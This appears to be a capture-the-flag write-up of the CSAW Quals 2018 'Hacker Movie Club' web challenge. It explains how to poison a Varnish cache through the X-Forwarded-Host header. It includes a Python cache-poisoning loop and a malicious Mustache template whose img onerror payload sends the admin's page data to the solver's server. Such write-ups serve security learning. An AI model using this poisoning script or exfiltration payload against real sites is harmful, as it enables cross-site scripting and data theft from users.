Hacker Movie Club CSAW Quals 2018

Writeup of Hacker Movie Club CSAW Quals 2018

Name : _Hacker Movie Club_ | Team:NULLKrypt3rs | Solves :71 | Type : Web | Note : Files here

The Problem Statement

Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.

Hacker Movie Club Problem Statement

Hacker Movie Club Problem Statement

Following is the page you get on clicking on the link

Main Page of Challenge

Main Page of Challenge

Initial Analysis

The first thing I do on a web challenge is check it's source and then check every functionality of the web app, while passing it through a proxy ( preferably Burp suite ), just to check some hidden headers etc . The proxy helps in analysing requests later , as it's saved in it's history.

The page didn't have any functionalities apart from a report button.

It had a js file namely cdn.js with contents as :

for (let t of document.head.children) {
  if (t.tagName !== 'SCRIPT') continue
  let { cdn, src } = t.dataset
  if (cdn === undefined || src === undefined) continue
  fetch(`//${cdn}/cdn/${src}`, {
    headers: {
      'X-Forwarded-Host': cdn,
    },
  })
    .then((r) => r.blob())
    .then((b) => {
      let u = URL.createObjectURL(b)
      let s = document.createElement('script')
      s.src = u
      document.head.appendChild(s)
    })
}

Well the source also shows the presence of two other files :

<script
  data-src="mustache.min.js"
  data-cdn="27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services"
></script>
<script
  data-src="app.js"
  data-cdn="27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services"
></script>

Comparing mustache.min.js with the original file checked out and thus I was sure there wasn't anything fishy inserted into it.

Now, coming to app.js :

var token = null

Promise.all([
  fetch('/api/movies').then((r) => r.json()),
  fetch(
    `//27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services/cdn/main.mst`
  ).then((r) => r.text()),
  new Promise((resolve) => {
    if (window.loaded_recapcha === true) return resolve()
    window.loaded_recapcha = resolve
  }),
  new Promise((resolve) => {
    if (window.loaded_mustache === true) return resolve()
    window.loaded_mustache = resolve
  }),
]).then(([user, view]) => {
  document.getElementById('content').innerHTML = Mustache.render(view, user)

  grecaptcha.render(document.getElementById('captcha'), {
    sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
    theme: 'dark',
    callback: (t) => {
      token = t
      document.getElementById('report').disabled = false
    },
  })
  let hidden = true
  document.getElementById('report').onclick = () => {
    if (hidden) {
      document.getElementById('captcha').parentElement.style.display = 'block'
      document.getElementById('report').disabled = true
      hidden = false
      return
    }
    fetch('/api/report', {
      method: 'POST',
      body: JSON.stringify({ token: token }),
    })
      .then((r) => r.json())
      .then((j) => {
        if (j.success) {
          // The admin is on her way to check the page
          alert('Neo... nobody has ever done this before.')
          alert("That's why it's going to work.")
        } else {
          alert('Dodge this.')
        }
      })
  }
})

There are two observations to look into here :

  1. There's a comment that says
// The admin is on her way to check the page

It's when the report endpoint returns a success message. So, perhaps we've to do XSS and leak out some data from the admin. But sooner than the thought enters my mind I realize that there's no input data endpoint ( although I did try modifying the json being sent in the /api/report endpoint but nothing ever came back :( )

  1. As we can see, the code uses Promise to fetch a file main.mst from some cdn.If you look closely the lines in cdn.js:
    fetch(`//${cdn}/cdn/${src}`,{

and then the url, the pattern kinda stands out clearly ( isn't it )

//27e2d63e9905da1061dfeeacf95dcaf7aa65efcd.hm.vulnerable.services/cdn/main.mst

Any way that was just an observation.

The Burp Investigations

I usually when doing bug bounties ( or web questions ) setup the target scope to remove unnecessary clutter ( In bug bounties it helps a lot to focus ) , not necessary to solve this question though :

BURP Suite Configuration - Adding Scope

BURP Suite Configuration - Adding Scope

And then ✓ the filtering options to Show only in-scope options :

BURP Filter Options

BURP Filter Options

With all that setup, now coming back to problem at hand : There's a request to the endpoint /api/movies , which returns the following json :

{
  "admin": false,
  "movies": [
    {
      "admin_only": false,
      "length": "1 Hour, 54 Minutes",
      "name": "WarGames",
      "year": 1983
    },
    {
      "admin_only": false,
      "length": "0 Hours, 31 Minutes",
      "name": "Kung Fury",
      "year": 2015
    },
    {
      "admin_only": false,
      "length": "2 Hours, 6 Minutes",
      "name": "Sneakers",
      "year": 1992
    },
    {
      "admin_only": false,
      "length": "1 Hour, 39 Minutes",
      "name": "Swordfish",
      "year": 2001
    },
    {
      "admin_only": false,
      "length": "2 Hours, 6 Minutes",
      "name": "The Karate Kid",
      "year": 1984
    },
    {
      "admin_only": false,
      "length": "1 Hour, 23 Minutes",
      "name": "Ghost in the Shell",
      "year": 1995
    },
    {
      "admin_only": false,
      "length": "5 Hours, 16 Minutes",
      "name": "Serial Experiments Lain",
      "year": 1998
    },
    {
      "admin_only": false,
      "length": "2 Hours, 16 Minutes",
      "name": "The Matrix",
      "year": 1999
    },
    {
      "admin_only": false,
      "length": "1 Hour, 57 Minutes",
      "name": "Blade Runner",
      "year": 1982
    },
    {
      "admin_only": false,
      "length": "2 Hours, 43 Minutes",
      "name": "Blade Runner 2049",
      "year": 2017
    },
    {
      "admin_only": false,
      "length": "1 Hour, 47 Minutes",
      "name": "Hackers",
      "year": 1995
    },
    {
      "admin_only": false,
      "length": "1 Hour, 36 Minutes",
      "name": "TRON",
      "year": 1982
    },
    {
      "admin_only": false,
      "length": "2 Hours, 5 Minutes",
      "name": "Tron: Legacy",
      "year": 2010
    },
    {
      "admin_only": false,
      "length": "2 Hours, 25 Minutes",
      "name": "Minority Report",
      "year": 2002
    },
    {
      "admin_only": false,
      "length": "2 Hours, 37 Minutes",
      "name": "eXistenZ",
      "year": 1999
    },
    {
      "admin_only": true,
      "length": "22 Hours, 17 Minutes",
      "name": "[REDACTED]",
      "year": 2018
    }
  ]
}

I can't help but notice that the last json entry is :

{
  "admin_only": true,
  "length": "22 Hours, 17 Minutes",
  "name": "[REDACTED]",
  "year": 2018
}

It is the only entry with "admin_only":true," and interestingly all other movies are being displayed on the webpage but not this.

Hmm, peculiar. But why is it so ?

Looking into the traffic in burpsuite, we notice the file main.mst being fetched, with the contents as :

<div class="header">Hacker Movie Club</div>

{{#admin}}

<div class="header admin">Welcome to the desert of the real.</div>
{{/admin}}

<table class="movies">
  <thead>
    <th>Name</th>
    <th>Year</th>
    <th>Length</th>
  </thead>
  <tbody>
    {{#movies}} {{^admin_only}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
    {{/admin_only}} {{/movies}}
  </tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

Well, anyone who has slight knowledge of making websites with "new technologies" would understand that it's a template file . Well now the pieces fit in, mustache.min.js, so perhaps mustache's template file. Hmmm, now the other peculiarity as to why it wasn't displaying the [REDACTED] content on the page, well it's quite trivial :

{{^admin_only}}
<tr>
  <td>{{ name }}</td>
  <td>{{ year }}</td>
  <td>{{ length }}</td>
</tr>
{{/admin_only}}

So, only json, with admin_only as false would be displayed here, to test this theory ( as I didn't know mustache and it's templating syntax ) , just change the response of /api/movies in burp suite, changing Redacted's admin_only to false.

And sure enough the theory checks out :

Deja-Vu : Glitch in the Matrix

Deja-Vu : Glitch in the Matrix

Okay, so now we can fairly assume that the flag is in the redacted content.

The Struggle

The million dollar question : How do we, get the webpage the admin sees ?

I pondered many hours over this, going on and off on different questions and coming back to this but nothing came out. On the next day I was chatting with one of my friend ( he was also playing this CTF ) and he gave me a suggestion that maybe cache poisoning would work ( he was working that angle himself ).

It instantly felt true, I remembered watching a talk on the same Web Cache Deception Attack , it was from BlackHat USA 2017, quite a great research.

So, I started devising a strategy to cache poison the admin. Well the plan was to use a different url like : http://app.hm.vulnerable.services/?this_is_cache_poisoning

Then I realized that we had no control over the url admin would go to .... Or maybe we had, I changed the Referer header, thinking that maybe the admin was looking going to this url when the /api/report endpoint was called.

So, I did all of that and then visited the same page ( in hopes that it would be saved in the cache ), however it was a rabbit hole and nothing could come of it.

While looking at the headers, I had missed this Cache-Control: no-cache, which was effectively thwarting this.

Back to square one ... ( or maybe not )

The headers had these :

~~~ SNIP ~~~
X-Varnish: 150497792
~~~ SNIP ~~~
Age: 0
~~~ SNIP ~~~

So, well caching was in place on the server side. Looking up the X-Varnish header and Age header on google gives the following (here):

Age - The amount of time the served item was in the cache, in seconds. If the age is zero, the item was not served from the Varnish cache. ~~ SNIP ~~ > X-Varnish - The ID numbers of the current request and the item request that populated the Varnish cache. If this field has only one value, the cache was populated by the request, and this is counted as a cache miss

So, well mine was a cache miss and so, Age is 0 and only one ID in X-Varnish header.

Recently I had read about web caching attack, Practical Web Cache Poisoning. Reading the blog, you would find in the start itself under the section Caching 101 the following :

Some companies host their own cache using software like Varnish

Okay, CSAW people were also using Varnish ( but that is quite a popular caching software ) so that couldn't be a coincidence.

In the Case Studies section under Basic Poisoning the author mentions how X-Forwarded-Host was a vulnerable parameter in case of Red Hat's homepage ( Well two exact things matching ).

That can't again be a coincidence

No coincidence

It also mentioned XSS being able to perform but after checking that I realized that the parameter wasn't reflecting anywhere on the homepage ( so perhaps no XSS here ) .

Thus I thought of changing the X-Forwarded-Host to my_server and see if it's reflected in .

Now, in the default configuration of burpsuite, you have in the proxy options under the section Intercept Client Requests the following :

Intercept Client Requests

Intercept Client Requests

Which says not to intercept any js file and thus initially I couldn't intercept js request ( I soon realized that and changed the rules accordingly )

Now changing the X-Forwarded-Host

Change X-Forwaded-Host

Change X-Forwaded-Host

Well, that didn't change anything ( atleast then I thought so ). I discussed the same with my friend, he tried and he also got similar results ( the host hadn't changed )

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 157368772 157916061
Accept-Ranges: bytes
Content-Length: 1631
Content-Type: application/javascript
Age: 59
Via: 1.1 varnish-v4
Connection: close
Proxy-Connection: close

var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),

Some conclusions

As you can see

X-Varnish: 157368772 157916061
~~~ SNIP ~~~
Age: 59

So, it can be seen that it's being fetched from the cache and maybe if we hit it at the right time, we just might get it.

Okay, much theorizing, now let's get our hands dirty. I initially started

I wrote a small python script regarding the same to poison the cache :

import requests

X_Forwarded_Host = '1.2.3.4'

while True:
    resp = requests.get("http://3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print resp.headers
    if X_Forwarded_Host in resp.text:
        print resp.text
        break

Well here's the output :

Output - Age header

Output - Age header

We see, here the caching time is 2 minutes ( as the Age goes to a maximum of 120 ). As we can see, we can overwrite the js file here and serve our cached js file.

So what you gonna do about it

The Showdown

Well, that's the key to the question. We will be caching the app.js with our server's IP and force the admin to retrieve the webpage, by reporting it. Then the admin will be served our app.js, thus effectively fetching the main.mst file from our server.

The strategy

  1. Host a malicious main.mst on your server in the /cdn/ directory ( I hosted it on my aws instance with apache running, although ngrok would also be fine )
  2. Cache poison the server, to insert your server's IP there
  3. Now, report to the admin, so that admin visit's the page
  4. The malicious main.mst will phone back to the server with all the movie list ( easy peasy )

Now, as I said I'm no expert in mustache templating but it was quite easy to figure out how to get all the movie list onto our web server. It was my friend who made this template though , here's what it looks like :

<div class="header">Hacker Movie Club</div>

<div class="header admin">Welcome to the desert of the real.</div>

<table class="movies">
  <thead>
    <th>Name</th>
    <th>Year</th>
    <th>Length</th>
  </thead>
  <tbody>
    {{#movies}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
    {{/movies}}
  </tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img
  src="x"
  onerror="fetch('http://my_server_ip/'+'{{#movies}}{{ name }}{{/movies}}')"
/>

It is almost all the same except with this important change ( and one other aesthetic change , the desert of the real :p ) :

<img
  src="x"
  onerror="fetch('http://my_server_ip/'+'{{#movies}}{{ name }}{{/movies}}')"
/>

So, it is typical XSS payload, where you do

<img src="x" onerror="alert(document.cookie)" />

However, instead of document.cookie we use the mustache template here to fetch the list of movies and send it to our server.

And lo behold here's what we get when we open the browser just after the cache poisoning is done

Response after cache poisoning

Response after cache poisoning

So, I went on with reporting it and looking into my server logs :

Flag

Flag

A little bit of explanation :

  1. Here I am fetching the webpage
  2. The img request to steal all the movie names ( from my browser, so no flag )
  3. The admin visiting the page ( contains the flag )

Here's the final script :

from time import sleep
import requests
import webbrowser
X_Forwarded_Host = 'my_server'
while True:
resp = requests.get("http://3fad5c9a76928974bc36ef08fb1dfa2c98e98740.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
print resp.headers
sleep(0.5)
if X_Forwarded_Host in resp.text:
print resp.text
break
# Now we're sure that our entry has been put up in cache
# So, just open the webbrowser, and report so that the admin
# gets our cached page
webbrowser.open('http://app.hm.vulnerable.services/')
view raw poison.py hosted with ❤ by GitHub

Kudos to the CSAW team for making such a good question 🎉🎉🎉

UPDATE :

I forgot to mention there was a slight issue with CORS, so I had to enable that on my apache.

You can do the same by following the guide here

However instead of allowing it from only s.codepen.io allow it from all like this :

Header set Access-Control-Allow-Origin "*"

Header-Set-Access-Control

Header-Set-Access-Control

Aseem Shrey

Hey! I'm Aseem Shrey.

const about_me = {
loves: "CyberSec, Creating Stuff", currently_reading: "Gandhi: The Years That Changed the World, 1914-1948", other_interests: [ "Reading 📚", "IoT Projects 💡", "Running 🏃( Aim to run a full marathon )", "Swimming 🏊‍♂️" ], online_presence: HackingSimplified AseemShrey };
Ping me up if you wanna talk about anything.

About meJoin newsletterGitHub